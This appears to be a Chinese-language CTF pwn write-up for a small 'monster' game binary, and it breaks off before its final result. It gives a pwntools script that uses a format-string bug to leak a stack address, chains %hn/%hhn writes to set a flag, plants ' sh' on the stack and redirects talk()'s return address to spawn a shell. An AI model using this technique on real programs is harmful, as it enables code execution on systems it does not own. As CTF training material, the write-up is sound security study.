1 2 3 4 5 6 7 int __fastcall main (int argc, const char **argv, const char **envp) { int i; init(argc, argv, envp); puts ("You're walking down the road when a monster appear." ); for ( i = 1 ; i <= 3 && !flag; ++i )
具体操作 先泄露一个栈地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from pwn import *context(os="linux" , arch="amd64" , log_level="debug" ) io = process("./pwn" ) s = lambda data :io.send(data) sa = lambda delim,data :io.sendafter(delim, data) sl = lambda data :io.sendline(data) sla = lambda delim,data :io.sendlineafter(delim, data) r = lambda num :io.recv(num) rl = lambda :io.recvline() ru = lambda delims, drop=True :io.recvuntil(delims, drop) ia = lambda :io.interactive() ls = lambda data :log.success(hex (data)) p = lambda :pause() def debug (): gdb.attach(io) pause() sa(b"You start talking to him...\n" , b"%17$p" ) tmp = int (ru(b"?\n" )[2 :], 16 ) ls(tmp) sa(b"You enraged the monster-prepare for battle!" , b"a" *8 ) i = tmp - 0x120 ls(i)
然后利用printf成链攻击,向这里的0x7ffd5dc3db6f写入0xFF
1 2 3 4 5 6 7 vuln = ((i + 7 ) & 0xffff ) ls(vuln) sa(b"You start talking to him...\n" , f"%{vuln} c%17$hn" ) sa(b"You enraged the monster-prepare for battle!" , b"a" *8 ) sa(b"You start talking to him...\n" , f"%255c%47$hhn" ) sa(b"You enraged the monster-prepare for battle!" , b"a" *8 )
这里补充一下,被利用的参数的位置
1 2 3 4 5 pwndbg> fmtarg 0x7ffd5dc3db98 The index of format argument : 17 (\"\%16$p\") pwndbg> fmtarg 0x7ffd5dc3dc88 The index of format argument : 47 (\"\%46$p\") pwndbg>
接着就是在[rbp - 0xe]处分多次写入” sh”
1 2 3 4 5 6 7 8 9 10 11 t = (i - 6 ) & 0xff sa(b"You start talking to him...\n" , f"%{t} c%17$hhn" ) sa(b"You enraged the monster-prepare for battle!" , b"a" *8 ) li = [" " , " " , "s" , "h" ] for j in range (4 ): ls(ord (li[j])) sa(b"You start talking to him...\n" , f"%{ord (li[j])} c%47$hhn" ) sa(b"You enraged the monster-prepare for battle!" , b"a" *8 ) sa(b"You start talking to him...\n" , f"%{(i + j - 5 ) & 0xff } c%17$hhn" ) sa(b"You enraged the monster-prepare for battle!" , b"a" *8 )
最后修改talk()的返回地址,返回到0x401274
1 2 3 4 5 sa(b"You start talking to him...\n" , f"%{(i - 16 ) & 0xff } c%17$hhn" ) sa(b"You enraged the monster-prepare for battle!" , b"a" *8 ) sa(b"You start talking to him...\n" , f"%{0x1274 } c%47$hn" ) sa(b"You enraged the monster-prepare for battle!" , b"a" *8 )
(这里不小心重来调试了,栈地址发生了变化,问题不大)最后一步修改后的结果就是